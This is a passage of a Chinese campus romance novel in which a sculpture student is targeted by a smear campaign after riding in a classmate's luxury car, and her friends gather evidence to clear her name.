魏川拿出一张房卡:“我又不是没订房间。” 孟棠觉得他好荒唐,也好会烧钱,一时无言以对。 想说什么时,38层到了。 电梯一打开,感觉香味都跟普通楼层的不一样。 李寒津正好从走廊尽头走过来,身边还跟着一个人,他直接忽略魏川,给孟棠介绍: “这是木雕协会副会长付寒松先生,付先生,这是我小师妹孟棠。” 孟棠微微鞠躬,问了好。 付寒松热情地回应两句,目光偏向魏川:“这位是……” 刻意冷落魏川的李寒津笑意微僵,魏川斜了他一眼,笑道:“我是孟棠同学。” 付寒松“啧”了声:“我瞧着你怎么那么眼熟?你姓什么?” 魏川眼珠微转,没准真跟家里有点交情,他说:“我姓魏,叫魏川。” “魏仕则是你什么人?” 还真认识啊,魏川打量着付寒松,说:“我爷爷。” 不过早些年去世了。 付寒松“哎呦”一声:“还真认识,我跟你爷爷有点交情,上次见你,你还小呢,没想到长这么高了。” 魏川扯唇笑笑,他哪儿记得,只怕上次见他是在老爷子的葬礼上。 他秉持着礼貌的笑,说不打扰他们的正事,转头对孟棠说:“我去喝杯酒,出来打我电话。” 孟棠点点头,见他往行政酒廊的方向去了。 李寒津领着付寒松和孟棠去了苏勉所住的套房。 孟棠以前在电视上见过她,是极具江南水韵的长相。 李寒津为两人介绍,孟棠鞠躬问好,神态有些忐忑。 苏勉笑了笑:“这么紧张干什么,我可是早就听过你的大名了。” 孟棠眼睛睁得溜圆:“您知道我?” “我跟陈洵礼也算多年好友了,”苏勉失笑,“你的作品,他偷偷给我看过。” “真的?”孟棠有些意外,院长怎么净干些偷偷摸摸的事。 “自然,你参加的比赛,我是评委之一,你修复的那尊《盲僧听琴》我也知道,不得不说,你很有灵气。” 孟棠受宠若惊,苏勉让大家坐下聊。 都是业内翘楚,探讨起来刹不住车,从流派到木性,再到市场和政策传承,竟聊了四个多小时。 孟棠出门时,一脸的意犹未尽。 今天在座的都是木雕行业的前辈,从话里也能摸出对方三分为人处世的态度,孟棠觉得受益匪浅。 付寒松拉着李寒津还在门口拉拉扯扯地告别,孟棠和苏勉的助理微微颔首,率先一步出了门。 进了走廊,孟棠余光偏岔,注意到走廊尽头的沙发上睡着一道人影。 是魏川! 她垂头看了眼手机,差几分钟十二点,他就一直等在这里四个多小时吗? 孟棠走过去,发现他睡得深沉。 她上下打量,这人高马大的,她也弄不动,只能将人叫醒。 孟棠按住魏川的肩膀,轻轻推了推:“魏川,醒醒。” 魏川皱眉咕哝了声,没醒。 “起来了。”孟棠加重力道,“别在这里睡,魏川?醒醒……” “又是你。”魏川睡得迷糊,脸上被孟棠的长发扫过,以为是马尔济斯挤上了床,大掌抬手揽过,揉了揉,将人抱进了怀中。 他不知道自己的力气有多大,孟棠的感受是磕上了一堵墙。 第54章 梦里的吻 休息区的荷兰龟背竹叶片宽大,孟棠被魏川揉进怀中时,手肘碰到了它。 叶片悠悠晃晃,将叠在一起的两人拢进光影阑珊里。 无边的寂静吞噬了深夜的酒店,薄荷的冷冽无声地缠上来,孟棠瞬间放轻了呼吸。 她看着近在咫尺的凸起的喉结,心脏像坐上了过山车,从高处俯冲而下,瞬间失序。 他温热的掌心按在后颈,氤氲开一片潮湿的热气。 孟棠慌里慌张挣扎了下,说出的话颤得不成样子:“魏川,你松开我……” 明明还在睡梦里,力气却大到离谱。 孟棠感觉自己是被他抓住的篮球,他不投篮,休想脱手。 魏川感觉到脖颈间有人在拱自己,他摸了摸,觉得马尔济斯不是这重量,不耐地睁开了眼睛。 楚女士到底怎么喂的狗?几日不见那么大了? 潜意识里刚吐槽完,他撞上了一双水润琥珀的眼睛! 微弱的电流击穿神经末梢,从指尖蔓延至全身,魏川一抖,怀疑自己眼神出了问题。 孟棠怎么会趴、趴在他身上?还用这样可怜兮兮的眼神看他? 他余光飘散,从龟背竹的缝隙里看到了酒店长长的走廊。 思绪往前,他记得他坐在休息区等孟棠,犯困时手机掉落惊醒了他,他索性关了手机眯了会儿。 迷迷糊糊有什么细软的东西扫他脸颊,他以为是家里的马尔济斯,然后一把薅进了怀里。 所以……是他动的手? “你松开啊。”孟棠见他醒了,一张脸红得透透,嗓子也开始发紧,“你要抱到什么时候?” 魏川猛地松开手臂,孟棠撑着他肩膀就要起身。 “等一下,你听我解释。”生怕被误会,魏川下意识按住她后背,不让她走。 “你干什么?”孟棠瞳孔震颤。 “抱抱……抱歉。”魏川松开她,“我想向你解释来着,我是睡着了,以为是我们家的狗——呸呸呸,我不是说你是狗,我以为是家里的马尔济斯,不小心抱了你,我不是故意耍流氓的。” “我知道。”孟棠垂着头,掩饰眸底的慌乱,“我看你睡着,想要叫醒你,然——你既然醒了,我就先回房间了。” 魏川愣了愣,怀里彻底空置,他连忙起身追过去:“孟棠。” 孟棠快速按下电梯按键,慌得按了好几下。 电梯门开,就几步的距离,魏川抓紧机会挤了上来,两人一直沉默到17楼。 孟棠努力忽略跟在身后的影子,房卡被掌心浸出一片薄薄的湿气。 刷卡之前,魏川上前拦住她:“你……你生气了?” “没有。”孟棠陡然抬起头,触及到那双深不见底的眼眸后又垂下头,“就是意外。” 生怕魏川还要缠着解释,她连忙补充:“我困了,想要睡觉了。” 魏川只好后退一步,眼神还紧紧盯着,在她关门前,快速地问了句:“明天有空吗?” “明天再说。” “砰”一声,房门关上。 孟棠站在门后,抬手覆上心口的位置。 太奇怪了,从没有过这样慌乱无措,不敢和一个人对视的情况。 孟棠闭了闭眼,脑子里都是魏川半醒半梦时看她的眼神。 她啪一下按亮卫生间的灯,用冷水浇灭脸上的红潮。 魏川站在门口没走,打开手机给孟棠发了信息:【我今晚不住38楼,把门关好,有几道保险上几道保险,有事一定要给我打电话。】 他三姐拍戏时住酒店,经历过被陌生房客骚扰的情况,最后还是报警解决的。 对于女生来说,这种事很吓人,他不希望孟棠遇到。 等了许久,孟棠也没回复,魏川颓然地转了身,却在拐角碰到李寒津,顿时竖起防备的刺。 “你在这儿干什么?”魏川不爽地看着他,“孟棠已经睡了。” 李寒津冷淡嗤笑:“你一次次的阻拦我见孟棠,你在怕我?” “给自己脸上贴什么金?”魏川不屑道,“被逐出师门的师兄就该和死了的前任一样,没人告诉你这个道理?” 李寒津嘲弄道:“你对我这样防备,我还以为你知道我离开师门的原因。” 说这话时,他的眼神流转着异样的底色,看得魏川莫名捏紧了拳头。 他忍了忍,冷笑: “我还真不想知道你造了什么孽,让老爷子这么生气,毕竟那老头我看着挺和善的。” 李寒津微怔:“你见过我师父?” “半路认什么师父。”魏川挺佩服李寒津的不要脸,“老头我自然见过,国庆的时候,我在雁清待了两天,见了海棠花,看了辨木术,游了水月寺,还有,方姐做的饭是真好吃。” 李寒津神色惊愕,没想到魏川竟跟着孟棠回过家! 魏川气人的目的达到,“嘁”了声,越过李寒津,径自回了房间。 洗完澡就是睡不着,整个人痴呆呆地靠着床头,脑子里都是孟棠。 她迷蒙着一双眼,使劲挣扎,从喉咙挤出一句软绵绵的怒斥:“你干什么?放开我。” 那声音像撩人的钩子,挠在他心上,心脏扑通扑通似要冲破胸腔,他一把按住细腰,将人死死箍在怀中。 “放开。” 魏川听到自己愣愣道:“我不想放。” “你——” 孟棠被惊了一瞬,微张的唇粉嫩得像一片樱花。 魏川不受控地抬手,拇指抵在她唇角摩挲。 孟棠被他黑得深不见底的眼神震住,本能地抿了下唇。 唇瓣因为挤压有片刻的失血,白乎乎的不好看,魏川难以忍受地凑上去,猛地贴住她的唇。 呼吸交错,他胆大妄为地撬开她的齿关,夺了一片柔软。 心脏快要爆炸了,身体也越来越热,魏川往前挤压着孟棠,却听见“咚”的一声。 他睁开眼睛,眼前哪有孟棠,只有天花板白得晃眼的灯。 魏川停顿了片刻,反应过来自己做了梦,做了一个不知羞耻的梦。 在梦里,他竟然亲了孟棠? “操。”魏川将自己埋进被子里,“我做的什么梦?” 他觉得自己对不起孟棠,也对不起许鹤清和谢泠音。 他怎么能在梦里觊觎兄弟的爱慕者?不仅如此,她还是他告白对象的室友。 魏川觉得自己罪孽深重,洗脑似的对自己嘀咕:“我喜欢谢泠音,我喜欢谢泠音,我喜欢谢泠音……我喜欢的绝对是谢泠音……” “叩叩……”房门被敲响。 魏川一愣,下意识看向门边。 “魏川,你起了没有?” 孟棠? 魏川如遭电击,他喜欢谢泠音,他喜欢谢泠音,他喜欢谢泠音……他真的喜欢谢泠音吗? 第55章 我陪你去 “叩叩——” 孟棠目露疑惑,再次抬手敲了魏川的门。 这人怎么这么奇怪?短信不回,电话不接,敲门也不应。 “魏川,你醒了没有?我——” 房间的门陡地拉开,孟棠隐去话头,仰着头问:“你怎么不接电话?” 她昨晚没怎么睡好,出门之前还对魏川有躲避的心思。 想了半天,觉得要想不尴尬,就得主动掌握相处的节奏。 她试探性地发了短信,打了电话,最后贯彻到亲自上门。 只要她不慌,慌的就是对方,这不,魏川磕巴地说自己睡着了没听见。 他此刻的模样有些呆,头顶的短发翘起来几根,看了眼自己又快速地避开了。 孟棠以为他还在为昨晚无意的拥抱而尴尬,她也有点,不过面上撑得住。 她笑了笑:“时间不早了,我要回学校了,跟你说一声。” “我送你吧。”魏川下意识往前蹭了一步。 明明前一秒还想着和孟棠保持距离。 “不用。”孟棠客气又疏离,“我自己打车。” “我正好也要回家,你等我一下,我先去洗漱。” 不等她回答,他转身一头扎进了卫生间。 快速刷了牙,洗了脸。 十分钟不到,一个整齐清爽的魏川跟柱子似的立在孟棠面前。 孟棠转身往电梯口走,魏川抬手看了眼时间,说:“十点半了,你吃早饭了吗?” 孟棠摇摇头,她九点半才醒,忙好就来找他了。 魏川侧眸:“我有点饿,要不在附近找个地方吃个饭?” “我还是回学校吃吧。”孟棠委婉拒绝,“昨晚睡得迟,要回去补觉。” 魏川“哦”了声,讪讪跟进了电梯。 到一楼前台办理了退房手续,孟棠刚要拿出手机打车,李寒津从身后追了上来。 孟棠不咸不淡地转过身,没叫任何称呼,只问了句:“还有事?” “确实有件事想跟你说。”李寒津笑得温和,全然没有昨夜和魏川在走廊上针锋相对的姿态。 魏川想起孟棠“先来后到”的理论,一把拉住她的手臂,也说自己有事。 孟棠想起昨夜他将自己拦在门外,问今天有没有空的事。 李寒津眼神骤冷,不经意扫了眼魏川。 魏川也看着他,眼神气不落丝毫下风。 孟棠将自己的手臂从魏川的手掌中抽出,转头问李寒津:“你要跟我说什么事?” 李寒津神情收敛,扯开唇角:“我工作室的东西基本都搬过来了,库里有一批好料,今天正好周六,想带你去看看。” 孟棠眨了眨眼。 魏川在心里嗤笑,心想孟老头雕了这么多年木头,大宅里专门有好几个房间装木料,孟棠什么样的料子没见过?需要他在这里献殷勤。 艺术园区,美院的同学很喜欢过去玩,孟棠也去过。 她真正好奇的是李寒津的工作室,想知道工作室日常是怎么运转的,跟老爷子居家模式的差异在哪儿。 可老爷子明确说过让她不要和李寒津走得近,也算师命难违。 更何况李寒津近年来的作品越来越商业化,她走的传统道路,文化价值大于经济价值,守正传承才是根本。 难道爷爷不让她跟李寒津走得近的根本原因就在于道不同不相为谋? 这似乎说得通。 想到这里,孟棠拒绝了李寒津。 出了酒店,孟棠问魏川:“你昨晚就问我今天有没有空,刚才又说有事,什么事?” 其实没什么事,魏川又想起早上那段荒唐的梦,撇开视线,硬着头皮找了个理由: “我想在分区赛之前给谢泠音告白。” 他觉得不能这样了,他喜欢的明明是谢泠音。 孟棠一愣,之前催他不急,又突然在大街上提起来。 这人真是……随心所欲。 她“哦”了声:“那你——” “你帮我吧。”魏川咬着牙。 孟棠瞪圆了眼睛:“我怎么帮你?告白不是你自己的事吗?” “我的意思是我想重新给她买个东西。”魏川不想将床头那座木雕送出去,“你能不能给点建议?” 这就相当于送礼物,她之前托魏川的福,知道许鹤清喜欢电子产品。 谢泠音看着仙气飘飘,其实是很务实的一个人。 既然是投其所好……孟棠仰起头,对魏川说:“要不你去专业画材店转一转。” 魏川一脸迷茫:“我去买什么?” “里面什么都有,泠音是油画系的,你可以让老板推荐。” “万一老板坑我怎么办?” “不会的,人家都是开了多少年的老店了。” “店在哪儿?” “校内校外都有,不过泠音爱去老富街的画材店。” “老富街哪家?” “四层楼的一个百年店铺,油画区有Schmincke专柜。” “Schmincke是品牌的名字?” “……我陪你去吧。” “好。” “……” 魏川拦了车,绅士地帮孟棠拉开后座车门,自己去了副驾。 他这才有空拿出手机翻了翻,孟棠早上发来的消息还没读。 他点进去,输入:【老富街我很少去,那边有什么什么吃的?】 孟棠没忍住瞥了眼前头,回复:【那边咖啡店很多,都是文艺轻食馆和甜品餐厅。】 魏川无所谓,能填饱肚子就行。 老富街就在艺体校区的后街,孟棠带着魏川去了轻食馆。 孟棠说:“这里也有海鲜烩饭,你可以尝一尝,不过卖相可能跟你点的外卖不太一样。” 魏川被勾起兴趣,听她的点了一份,服务生上菜后,魏川才知道卖相不一样是什么意思。 这里称得上是美院的后街,为了取悦这一群高审美的客人,将餐食都做出了一幅画的样子。 孟棠又点了两份三明治和咖啡,一份蔬菜沙拉,午饭就这么将就了过去。 他们要去的店就在斜对面的拐角处,孟棠给魏川说了谢泠音最常买的画材,说: “你根据自己的预算买吧。” 说完又觉得是废话,少爷哪有什么预算,基本看上就买。 不过魏川还是应了声。 过了马路,两人沿着店铺门口一路向左,没几分钟就到了。 魏川不懂,让老板推荐,见孟棠没有摇头,花了两千八买下了一盒Mussini16色木盒套装。 孟棠看了眼时间,下午一点,回去还能补个好觉。 两人出了画材店的门,魏川拎着东西走在外侧。 突然一辆黑色商务车在两人身边停下,感觉车门一拉就得下来俩人贩子。 魏川将孟棠挡在身后,满眼警惕。 后车门被人拉开,露出一张极其英气的脸。 魏川,歪着头不可置信地喊了声:“大姐!?” 魏思嘉朝他勾了勾手指:“上车,送你们一程。” 第56章 侮辱短信 孟棠觉得基因真神奇,魏思嘉简直就是女版魏川。 她礼貌地问了好,婉拒道:“学校就在前面,我可以自己走回去。” 魏川皱眉:“看着近而已,走到大门口最起码二十分钟。” 孟棠说:“我没关系。” 魏思嘉坐在车里看着,心想这小姑娘真傻,有关系的明明是魏川。 本来楚茵跟他说魏川当了舔狗,她是不相信的。 见两人还在拉扯,魏思嘉微微倾身,笑得温柔:“上来吧,送你到学校门口,不费事的。” 人家三说四请的,孟棠不好再推拒,说了声“麻烦了”,爬上了车。 商务车后座的双人座椅可以旋转,魏川和孟棠和魏思嘉面对面而坐。 魏川注意到魏思嘉打量孟棠的眼神,清了下嗓子:“大姐,你怎么会在这里?” 魏思嘉说:“谈完事回家,遭遇道路施工,司机临时拐上了这条道,没想到会在这里看见你。” 魏川尬笑:“好巧。” “是挺巧。”魏思嘉的目光再次落在孟棠脸上,“孟小姐是美院的?” “叫我名字就好。”孟棠挤出一抹笑,“我是雕塑系的。” “你跟小川是怎么认识的?” 魏川抢答:“我去美院当模特认识的。” “我问的是你?”魏思嘉白了他一眼,“我没想到你在学校还兼职?钱不够用?” 魏川:“……什么跟什么,我就是帮个忙。” 魏思嘉“哦”了声:“帮个忙啊……” 魏川挺了挺腰背,他一向乐于助人。 孟棠觉得魏思嘉的表情有些怪,有几分看戏的神态。 老富街离Z大的艺体校区很近,没一会儿,商务车在大门口缓缓停下。 孟棠拉开车门,转头和魏思嘉道别。 魏川要回家,坐在车上和她挥了挥手。 没了孟棠,魏思嘉本性暴露,一个倾身捏住魏川的耳朵使劲揪了下。 “疼疼……大姐,你干嘛?”魏川快速回头看了眼,生怕这怂样被孟棠看见。 魏思嘉简直无语:“这外面能看见里面吗?你跟人家小姑娘到底什么关系?床头的木雕是她雕刻的吧?” “你怎么知道?”魏川哼了声,揉了揉耳朵。 魏思嘉“嘁”了声:“她上车我就闻到很特别的木头香气,再看她那双伤痕明显,老茧分布的手,还有什么不明白的。” 魏川腹诽:眼也太毒了。 “你还没说,你跟人家什么关系?姑姑之前说的也是她吧?” 魏川简直服了:“都说了是同学关系,姑姑的话你也信?” “同学关系?你为了她放全家鸽子,妈都去背调了,你还——” “你说什么?”魏川炸了,“她干什么去了?” 魏思嘉一噎:“呃……不是你想的那个样子。” “那是什么样子?”魏川皱着眉,“凭什么对人家做背调?” 魏思嘉一噎:“被我拦下来了,就知道你这狗脾气。” 魏川狠狠松了口气,要是让孟棠知道,还能理他吗? 楚茵对魏川一直很溺爱,好在其他人不惯着他,没让他长成歪性子。 魏川回去哄了两句,楚茵对他保证不再对孟棠做背调。 得知儿子跟人家只是同学关系,不是舔狗,楚茵嘴里阿弥陀佛。 魏思嘉呵笑,她妈绝对阿早了。 魏川回到卧室后,忍不住摸了摸木雕的玫瑰花瓣,他不敢用力,生怕时间久了,将花瓣摸细了。 洗完澡躺上床,他倏地笑出了声。 还背调,孟棠家里一共两人,除了她卧室,他哪哪都去过了。 — 孟棠周日在寝室休息了一天,谢泠音她们都在,晚上从外面买了一堆烧烤围在一起聊天。 说实话,她很喜欢这样的氛围。 不过她一般都是倾听的角色,听石岚吐槽她们找不到男朋友。 谢泠音神秘一笑:“不一定吧,说不定过段时间,咱们寝室就有人谈恋爱了。” 孟棠微怔,扭头看着谢泠音,魏川昨天刚买完颜料,谢泠音今天就说了这话,是魏川已经跟她暗示了? 石岚和杨可看向孟棠,知道谢泠音说的孟棠,八卦道:“你喜欢的那个人怎么样了?” 孟棠咬了口羊肉串,摇了摇头。 “别啊,喜欢你就上呗。”石岚鼓励她,“你顶着这张脸搞暗恋,我会瞧不起你的。” 孟棠抿唇笑了笑:“再说吧。” 谢泠音挤眉弄眼:“这种事情当然要男生主动,如果你跟他生活中有交集,他对你也有意思的话,肯定会忍不住的。” 孟棠端起可乐喝了口,可她和许鹤清没什么交集,之前好不容易鼓起勇气送出去的手环落到了魏川手中。 谢泠音醉酒之后,她的心动、告白都停滞不前。 如果还没开始,她的心里就横着一根刺的话,还不如不开始。 她性格木,看着迟钝,其实在这方面很清醒。 见她不愿意多说,石岚将话题偏向谢泠音即将到来的生日,孟棠觉得她和魏川挺有缘的,生日很靠近。 谢泠音给孟棠拿了一串玉米粒后,突然说: “生日那天,我有一件很重要的事跟你们说。” 石岚和杨可对视一眼,被勾起了兴趣:“什么事啊?” “介绍一个人给你们认识。”谢泠音羞涩地撩了下颊边的发。 孟棠细细嚼了嘴里的玉米粒,基本确定,魏川跟她提过了告白这事。 石岚一惊一乍:“卧槽,谢泠音,我什么时候见你这么害羞过,你不会谈恋爱了吧?” 谢泠音“嘘”了声:“到时候会跟你们解释的。” 石岚晃了晃她的手臂:“那你给我透露一下,这人是美院还是体院的?” 谢泠音说:“体院的。” 孟棠呼出一口气,魏川真的成功了?他可真是行动派,反观自己……不提也罢。 “我真服你了,还要我等多少天啊?抓心挠肝的。”石岚性子很急。 孟棠说:“距离31号也快了。” 她早就看过日历,农历12月初一那天是元旦前夜。 石岚哀嚎:“快什么啊,还有二十多天呢,我要煎熬这么久。” 孟棠笑了笑,好事不怕等。 第二天还有课,十点半左右,几人将寝室收拾干净,洗漱准备睡觉。 刚爬上床,手机信息提示音响起,她以为是垃圾短信,也没看,又响了第二声。 她打开手机,点进短信,只见两条极具侮辱性的信息横陈在视线中—— 【包养你多少钱?我可以出双倍哦。】 【听说你成绩很好,都是睡来的吧?】 第57章 别睡了,孟棠出事了 孟棠的脑袋空了五秒,第一反应是发错了。 可下一秒,对方猜透她心思似的,发过来一条信息,写着:【我没发错,你是Z大美术学院雕塑系的孟棠吧?】 孟棠的瞳孔骤然扩大,屏幕里短短的三行字像扭曲而斑驳的色块,看得久了,她竟一个也不认识了。 无意识地咬上口腔内壁,孟棠点开头像,拨了过去。 对方快速挂断,像躲在阴沟里的老鼠。 孟棠气愤地输入:【你有本事造谣,为什么不敢接电话?】 消息如石沉大海,对面没了动静。 孟棠心绪难平,机械地来回解锁手机。 对面的石岚突然叫了声,吓了谢泠音一跳,在黑暗中问她:“你看什么了?鬼腔鬼调的。” 石岚一把掀开床帘,问孟棠:“你周五出去坐的什么车?” 孟棠直觉跟刚才的事有关,也拉开了帘子,说:“跟了魏川的顺风车,迈巴赫,怎么了?” 石岚“操”了声:“有人造谣你,说你……他妈的总之很难听,已经传遍了学校很多的群。” 话音刚落,杨可也坐了起来:“我也看见了,我朋友还问我是不是真的,她还截了图,说已经有‘求资源’的帖子了,甚至还有伪造的聊天记录。” 谢泠音打开手机的灯,小声唤了声孟棠的名字。 石岚和杨可直接下了床。 孟棠撇了下唇,忍着没哭,颤着声儿说:“我收到了骚扰信息。” “截图。”谢泠音扒着床头的栏杆,“保留证据,现在别急着去解释,你解释没人信你,你别怕,我们都相信你,会陪着你解决这事的。” 杨可最是感性,她率先红了眼睛,小声说:“网络上造谣女生的事情很多很多,都是这种黄谣,挺过去的生活也受了影响,没挺过去都是重度抑郁,甚至还有自杀的。” 她越说越小声。 谢泠音和石岚沉着一张脸,确实造谣的成本很低,取个快递,吃个草莓,染个头发……都能被造谣。 “别慌,冷静一点。”谢泠音说,“很多同学不明所以,肯定跟着吃瓜,真正造谣的id只要看见就截图留着公证,之后报警,警方会找到造谣的人。” 孟棠的手机又响了起来,她下意识要看,被谢泠音阻拦:“给我,你别看。” 污言秽语太影响心情,她怕孟棠钻牛角尖。 孟棠将手机给谢泠音,说了密码。 谢泠音看了一眼,肺都快气炸了,凭着一张照片,肆意去造谣、侮辱一个女生,没品到极限。 她一一截了图,对石岚说:“你看见的照片,你问问群里是谁先发出来的,都截图给我发过来,杨可你也是。” “好。” 孟棠糟糕的心情,因为室友们的信任和帮助消弭了些许。 她安静地坐着,开始思考。 石岚问了车的事,必然是有人拍到她上了魏川的车。 周五放学人潮涌动,学生的可能性更大。 如果是学生,要么不认识,心理阴暗,要么认识,蓄意报复。 前者只能交给警察找,后者的话,她至今只跟两个人有过冲突。 一个篮球课的助教王觉,一个破坏她木雕的张一帆。 张一帆虽然退学了,但他家的超市就在学校对面,他和王觉都有可能。 他们到底做没做亏心事,明天见面对峙就知道了。 时间已经很晚了,谢泠音和石岚、杨可拉了一个小群。 石岚:【明天咱们都有课,孟棠一个人,怎么办?】 谢泠音:【告诉学校和老师,院长把孟棠当小师妹,不会看着她被欺负的。】 杨可:【学校介入的话,应该很快查出。】 谢泠音:【你俩先睡,我跟孟棠说。】 床头传来窸窸窣窣的声音,谢泠音将手机递给孟棠,说:“我给你关机了,不要看那些傻逼说的话。” “谢谢。”孟棠接了手机,“太晚了,你也睡吧。” “等你睡着我再睡。”谢泠音小声道,“这两天陌生号码都别接,积极处理,事情会过去的。” “好。” 床帘后没了动静,谢泠音看了眼时间,给许鹤清发了信息:【睡了没?】 许鹤清秒回:【还没有。】 谢泠音:【那你帮我看一下魏川睡了没?我有事找他,睡了你就把他叫醒。】 许鹤清被女朋友逗笑,问:【你让我把他叫醒?你不在乎我这张脸了是吗?】 魏川睡觉被打扰,是真会揍人的。 谢泠音哪里有心思跟他开玩笑,不耐烦地回:【孟棠出事了。】 许鹤清转头扔了耳机,走到魏川的床铺拍了拍。 半晌没动静,他踩上扶梯,掀开了魏川的帘子。 “醒醒,孟棠出事了……魏川,别睡了,孟棠出事了……” 叫了几遍,魏川悠悠转醒,眉心狠狠蹙着,看清许鹤清的脸,他满脸黑线:“你他妈——” “孟棠出事了。 魏川一个激灵坐了起来:“出什么事了?” 许鹤清:“我也不知道,谢泠音找你。” 魏川掀开枕头,拿了手机,谢泠音的信息正好进来,她给他发了两张截图,一张是孟棠收到的信息,一张是造谣孟棠的帖子,足够让魏川知道孟棠发生了什么事。 魏川脸色忽而巨变,神情变得冰冷暗沉。 他立刻起床穿衣,对许鹤清说:“我出去一趟。” 许鹤清一愣:“疯了吧?明天还要上课,也有训练,再说你也出不去。” 魏川管不了那么多,也没耐心给他解释,只道:“不会被发现的,这事不解决,会害了孟棠。” 网暴害死人的案例每年都有,他决不能让孟棠陷入这样吃人的漩涡。 许鹤清拿他没办法,叮嘱道:“那你小心点。” 魏川来不及给谢泠音发信息,拜托许鹤清:“你跟谢泠音说,这事我来解决,让她看顾一下孟棠,别让她看那些乱七八糟的东西,我先走了。” 宿管在大半夜不会将人放出去,申请的话,还要通过辅导员和教练。 魏川没时间跟他们耗,来到二楼后往走廊尽头处移动。 他抬手扒住围墙,纵身一跃,跳了上去,随后借助香樟树蜿蜒伸展的枝干抵达地面,最终消失在茫茫夜色里。 第58章 我担心你 魏川连翻两道墙才离开学校,特意避开了监控。 打到车,他直奔万合酒店。 前台的人已经换了一批,不认识他,魏川出来匆忙,身份证也没带。 “姐姐。”魏川扬起笑脸,“我周五在这开了两间房,我想问问38楼的苏勉女士有没有离开酒店,我找她有事,很急。” 前台礼貌地摇了摇头:“抱歉,我们不能透露客户的隐私。” “我知道,但我真的有急事,我朋友昨天参加了她的交流会,或者你告诉我她离没离开,我可以在外面等她。”魏川目露恳求,“拜托了,姐姐。” 前台想了想,问了他的名字,魏川立刻扬起笑脸,报上大名。 电脑上显示他确实在周五开过房,前台告诉他苏勉还没离开。 太好了,魏川道了谢,转头出了酒店,大堂这里为了保障住店客人的体验和安全,不允许其他人在此过夜。 魏川在外出酒店的必经之路上停下,给严叔拨去了电话。 他早睡了,但少爷的电话谁敢不接。 刚接通,魏川就吩咐:“严叔,你去车库将周五开的车拍各个角度的照片给我,现在就去,我有用。” 严叔甚至来不及问一句,他就挂了电话。 紧接着,他给他爸打了电话,他爸跟校长早年是同学,关系一直不错,他需要学校门卫周五晚上的监控。 做完这一切,他在寒风里等了一宿。 魏川并不是没有其他办法去酒店开一间房,身份证没带,他给秦渊打一个电话就可以,但谢泠音发给他的信息让他内心煎熬着一团火。 他不敢想象孟棠看见信息时的反应。 她明明是一张纯洁无瑕的宣纸,却被泼了脏墨,这是他的错,他拽孟棠上车的时候,根本没想过这些。 Z大不少家境优越的学生,他没想到一辆车带给了孟棠这样大的伤害。 — 翌日一早,孟棠开了手机,一堆提醒在后台推送过来,社交平台都有大量的私信涌入,不看都知道内容龌龊。 谢泠音凑过来:“事情结束后,换张卡用吧。” 这样的事,即便最后澄清了,也还有一些恶劣没品的网友会发骚扰信息。 经过一夜的传播,谣言已经传遍了Z大。 这个时代所有人的秘密都暴露在互联网上,不管真假,先有一群无知无德的网友带节奏,然后出现知情人爆料,最后群起而攻之,连辩白的机会都没有,直接判了死刑。 孟棠在室友的陪伴下去了食堂,第一次体会到视线能杀人。 她听不清他们的窃窃私语,却知道他们说了什么。 几个男生嬉皮笑脸从她身边走过,意味深长说了句:“就是她啊……” “看着挺清纯的,怎么干那样的事。” 叽里咕噜后,就是一阵张狂的笑。 孟棠猝然捏紧了勺子,石岚猛地捶了下桌子。 谢泠音按住她,朝她摇了摇头。 石岚抬眼瞪过去,忽然一愣,她赶紧叫了声孟棠,让她往后看。 孟棠回眸,食堂门口,魏川一个人堵了几个男生的去路。 后面的许鹤清也面无表情。 魏川气势太盛,调笑的三个男生不自觉往食堂退后了一步。 他冷笑了声,眉眼压着汹涌的愤怒:“笑什么呢?说给我听听。” 几个男生认识魏川,不明白他怎么会这么生气。 “你、你要干什么?” 说话的是笑得最凶的,魏川一把抓住他的衣领,将他整个人拎起来甩到餐桌上。 餐桌发出不堪重负的刺耳声,引得周围学生频频偷瞄。 魏川忍着将拳头招呼上去的冲动,若是砸下去,孟棠又得陷入话题的讨论中心。 他缓了缓,让那三个人滚了。 孟棠的早饭也吃不下去了,明眼人都看出来魏川是为了她。 魏川看见她,拳头陡然一松,打量中带着两分无措。 见她神情还好,松了口气。 他在孟棠对面坐下,小心翼翼地问:“你没事吧?” 孟棠摇摇头:“你怎么在这里?” 他刚从外面回来,问了谢泠音,才知道她在食堂。 想要看一看她,抬腿就过来了。 这些魏川自然不会说,他朝孟棠笑了笑:“你放心,今天我一定帮你把这事解决。” “真的可以?”谢泠音没想到他动作这么快。 魏川“嗯”了声:“我今天早上见到了苏勉,周五的交流会有合影留恋,她答应帮孟棠澄清,学校门卫的监控我也拿到了,还有家里的车,我也让人拍了照片过来。” “至于周六,我这里有两张付款的截图,分别是轻食馆和画材店的,现在老富街的门还没开,我已经派人在那儿守着了,肯定第一时间拿到监控。” 谢泠音朝他竖起大拇指。 孟棠听得一愣:“早上见了苏勉?你什么时候出去的?” “呃……”魏川不太想说。 许鹤清给他助攻:“半夜十二点。” 孟棠叹了声气,心头涌上酸楚的滞涩感。 谢泠音说:“这样一来,确实能证明孟棠周五晚上和周六的行程,但你和孟棠的关系……恐怕就要被别人猜测了。” 孟棠猝然抬眸:“不行,我不想将别人扯进来。” “大家都是朋友,算不上别人。”许鹤清打圆场,“你俩的关系就算被猜测,我觉得也没必要非得去澄清,只说是朋友关系就行了。” “不然澄清完这个,再澄清那个,一些无脑的人总能抓住一些他们自以为的漏洞去找茬。” 谢泠音也跟着附和:“确实,这种事情,你越是解释,别人越是认为你们有一腿。” 孟棠看着谢泠音:“别胡说。” 由她嘴里说自己和魏川有一腿,怎么听怎么别扭。 吃完早饭,大家赶着上课,谢泠音见魏川欲言又止,笑着对其他人招了招手。 走到食堂门口,孟棠身边的人散了个干净,只剩魏川还跟着。 孟棠一脸懵,转头问魏川:“他们呢?” 魏川盯着她:“走了。” 孟棠没明白他们是怎么在她眼皮子底下消失的,失笑道:“我也去上课了。” 还有一点时间,魏川将人拦住:“你真的没事吗?我、我……我……” 我了半天,一个字也没说出来,孟棠仰起头问:“你什么?” “我担心你。”魏川看着她的眼睛,将情绪全都攒于眸底,第一次没有避开,全给了孟棠看。 第59章 特别关注 直白最让人无措,魏川的眼里除了担忧,还有些稀里糊涂的情绪,孟棠看不懂。 长久地盯着一个人的眼睛也比较尴尬,孟棠撇开视线,问魏川:“你为什么去找苏勉?” 魏川给她解释:“我知道你不想麻烦她,但苏勉愿意公开交流合影的照片,可以证明周五晚上你的动向,我向她说明情况后,她很乐意帮你。” “她今天离开Z市前往雁清,你要是晚一步,都不一定碰上她。”孟棠不经意地试探。 “怎么可能碰不上,我在酒店外等了一夜。”魏川上了当,语速加快,和盘托出。 